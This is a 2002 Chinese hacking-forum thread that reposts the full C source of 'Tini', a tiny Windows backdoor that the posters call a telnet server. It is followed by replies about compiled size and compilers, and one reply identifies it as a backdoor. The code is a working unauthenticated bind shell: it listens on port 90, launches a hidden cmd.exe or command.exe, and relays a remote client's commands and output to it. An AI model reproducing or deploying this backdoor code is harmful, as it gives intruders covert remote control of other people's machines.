>> 欢迎您, 傲气雄鹰: 重登陆 | 退出 | 注册 | 资料 | 设置 | 排行 | 新贴 | 精华 | 管理 | 帮助 首页

  小榕软件实验室
  刀光雪影
  Tini(VC源代码)[转帖]
发表文章 发表涂鸦
  回复数:9  点击数:248 将此页发给您的朋友        
作者 主题: Tini(VC源代码)[转帖] 回复 | 收藏 | 打印 | 篇末
愚人帅哥哦
级别:本站元老
威望:2
经验:1
货币:5046
体力:100
来源:袄饿日反对撒
总发帖数:1577
注册日期:2002-01-19
查看 邮件 主页 QQ 消息 引用 复制 下载 

////////////////////////////////////////////////////////////////////////////////
//
// Telnet Server.
//
// File : Tini2.cpp
//
// Create at : 2002.3.28
// Create by : dancefire , refdom
//        Email    : dangcefire@263.net , refdom@263.net
//
//        If you modify the code, or add more functions, please email me a copy.
//
////////////////////////////////////////////////////////////////////////////////

#include <stdio.h>
#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")
#pragma comment(lib, "kernel32.lib")

#define PORT 90

SOCKET ServerSocket = INVALID_SOCKET;
SOCKET ClientSocket = INVALID_SOCKET;
HANDLE hReadPipe, hWritePipe, hWriteFile, hReadFile;
u_char varA,varB;

DWORD WINAPI ThreadFuncA( LPVOID lpParam )
{
    SECURITY_ATTRIBUTES pipeattr;
    DWORD nByteToWrite, nByteWritten;
    char recv_buff[1024];

    pipeattr.nLength = sizeof(SECURITY_ATTRIBUTES);
    pipeattr.lpSecurityDescriptor = NULL;
    pipeattr.bInheritHandle = TRUE;
    CreatePipe(&hReadPipe,
                &hWriteFile,
                &pipeattr,
                0);

    varA = 1;
    while(true)
    {
        Sleep(250);
        nByteToWrite = recv(ClientSocket,
                            recv_buff,
                            1024,
                            0);
        WriteFile(hWriteFile,
                recv_buff,
                nByteToWrite,
                &nByteWritten,
                NULL);
    }
    return 0;
}

DWORD WINAPI ThreadFuncB( LPVOID lpParam )
{
    SECURITY_ATTRIBUTES pipeattr;
    DWORD len;
    char send_buff[25000];

    pipeattr.nLength = sizeof(SECURITY_ATTRIBUTES);
    pipeattr.lpSecurityDescriptor = NULL;
    pipeattr.bInheritHandle = TRUE;

    CreatePipe(&hReadFile,
            &hWritePipe,
            &pipeattr,
            0);

    varB = 1;
    while (true)
    {
        ReadFile(hReadFile,
                send_buff,
                25000,
                &len,
                NULL);

        send(ClientSocket,
            send_buff,
            len,
            0);
    }
    return 0;
}

void main(void)
{
    WSADATA WSAData;
    struct sockaddr_in RemoteAddr;
    int nRetCode;
    DWORD dwThreadIdA,dwThreadIdB,dwThreadParam=0;
    OSVERSIONINFO osvi;
    PROCESS_INFORMATION processinfo;
    STARTUPINFO startinfo;

    WSAStartup(MAKEWORD(2,2),&WSAData);
    ServerSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    RemoteAddr.sin_family = AF_INET;
    RemoteAddr.sin_port = htons(PORT);
    RemoteAddr.sin_addr.S_un.S_addr = INADDR_ANY;

    bind(ServerSocket,(LPSOCKADDR)&RemoteAddr,sizeof(RemoteAddr));
    listen(ServerSocket, 5);

    varA = 0;
    varB = 0;
    CreateThread(NULL, 0, ThreadFuncA, NULL, 0, &dwThreadIdA);
    CreateThread(NULL, 0, ThreadFuncB, NULL, 0, &dwThreadIdB);

    do{
Sleep(250);
    }while((varA || varB) == 0);

    GetStartupInfo(&startinfo);
    startinfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
    startinfo.hStdInput = hReadPipe;
    startinfo.hStdError = hWritePipe;
    startinfo.hStdOutput = hWritePipe;
    startinfo.wShowWindow = SW_HIDE;

    osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);

    GetVersionEx(&osvi);
    char szAPP[256];
    GetSystemDirectory(szAPP,MAX_PATH+1);

    if(osvi.dwPlatformId == 2)
    {
        strcat(szAPP,"\\cmd.exe");
        if (CreateProcess(szAPP, NULL, NULL, NULL, TRUE, 0,
                            NULL, NULL, &startinfo, &processinfo) == 0)
        {
            printf ("CreateProcess Error!\n");
            return;
        }
    }
    else
    {
        strcat(szAPP,"\\command.exe");
        CreateProcess(NULL,
                    szAPP,
                    0,
                    0,
                    true,
                    0,
                    0,
                    0,
                    &startinfo,
                    &processinfo);
    }

    while (true)
    {
ClientSocket = accept(ServerSocket, NULL, NULL);
        Sleep(250);
    }
}

编辑 删除 发表时间发表于 2002-04-14.01:16:53   MSIE 5.01 Windows 2000IP: 已记录
Tpiger帅哥哦
级别:中级站友
威望:0
经验:0
货币:
体力:
来源:北京
总发帖数:87
注册日期:2002-04-10
查看 邮件 主页 QQ 消息 引用 复制 下载 

Tini到底是个什么呀?一直不知道……

编辑 删除 发表时间发表于 2002-04-14.02:43:09   MSIE 6.0 Windows XPIP: 已记录
愚人帅哥哦
级别:本站元老
威望:2
经验:1
货币:5046
体力:100
来源:袄饿日反对撒
总发帖数:1577
注册日期:2002-01-19
查看 邮件 主页 QQ 消息 引用 复制 下载 

就是说的那个世界上最小的TELNET服务器端的程序,3K大!

Dancefire 把他反编译后写出Tini 的VC原代码,refdom做了一些修改!

编辑 删除 发表时间发表于 2002-04-14.02:57:22   MSIE 5.01 Windows 2000IP: 已记录
Meteor帅哥哦
级别:高级站友
威望:1
经验:0
货币:6
体力:0.2
来源:CyberSpace
总发帖数:138
注册日期:2001-12-14
查看 邮件 主页 QQ 消息 引用 复制 下载 

int nRetCode;
delete this line,and it's useless.By the way,if you use VC 6 to
compile this code,the resulting exe will be about 150k in size.
lol

编辑 删除 发表时间发表于 2002-04-14.08:03:00   MSIE 5.01 Windows 2000IP: 已记录
bosky帅哥哦
级别:中级站友
威望:0
经验:0
货币:0
体力:
来源:61.167.57.*
总发帖数:79
注册日期:2002-03-14
查看 邮件 主页 QQ 消息 引用 复制 下载 

为什么会这样?不是3K吗?

编辑 删除 发表时间发表于 2002-04-14.08:30:50   MSIE 6.0 Windows XPIP: 已记录
愚不可及帅哥哦
级别:高级站友
威望:0
经验:0
货币:610
体力:51.5
来源:吉林
总发帖数:154
注册日期:2002-02-21
查看 邮件 主页 QQ 消息 引用 复制 下载 

不要忘了这个程序最开始是用汇编写的,用C来编译当然大了!
----------------------------------------------------------
,不可及

编辑 删除 发表时间发表于 2002-04-14.10:50:57   MSIE 6.0 Windows 2000IP: 已记录
愚人帅哥哦
级别:本站元老
威望:2
经验:1
货币:5046
体力:100
来源:袄饿日反对撒
总发帖数:1577
注册日期:2002-01-19
查看 邮件 主页 QQ 消息 引用 复制 下载 

是啊,用VC编译出来就不会是3K了!

编辑 删除 发表时间发表于 2002-04-14.11:17:31   MSIE 5.01 Windows 2000IP: 已记录
Meteor帅哥哦
级别:高级站友
威望:1
经验:0
货币:6
体力:0.2
来源:CyberSpace
总发帖数:138
注册日期:2001-12-14
查看 邮件 主页 QQ 消息 引用 复制 下载 

If you can change some codes,and compile it in lcc,it will be around 4 to 5k after compression.

编辑 删除 发表时间发表于 2002-04-14.14:33:29   MSIE 5.01 Windows 2000IP: 已记录
帅哥哦
级别:老 站 友
威望:0
经验:0
货币:875
体力:69
来源:北京
总发帖数:353
注册日期:2001-04-26
查看 邮件 主页 QQ 消息 引用 复制 下载 

你试试,比如dir一个根本不存在的目录,他的返回信息不是所有的信息吧
我用delphi写了一个,就是着样字,一直没找到解决的办法

编辑 删除 发表时间发表于 2002-04-14.15:11:18   MSIE 5.01 Windows 98IP: 已记录
crp帅哥哦
级别:新手上路
威望:0
经验:0
货币:
体力:
来源:210.51.242.*
总发帖数:7
注册日期:2002-04-18
查看 邮件 主页 QQ 消息 引用 复制 下载 

tini好象就是WIN98系列的后门程序.

编辑 删除 发表时间发表于 2002-04-18.19:23:56   MSIE 6.0 Windows 98IP: 已记录
选择回复        
 快速回复主题: >>>高级模式
  用户名: 没有注册? 密码: 忘记密码?
记住密码
HTML语法
禁止IDB代码
禁止表情字符

[按 Ctrl+Enter 快捷键可直接提交帖子]
 投票评分: 共 0 票  
所有时间均为: 北京时间 ↑TOP 
关闭主题 拉前主题 移动主题 主题置顶 取消置顶 总固顶主题 取消总固顶 加入精华 移出精华 删除主题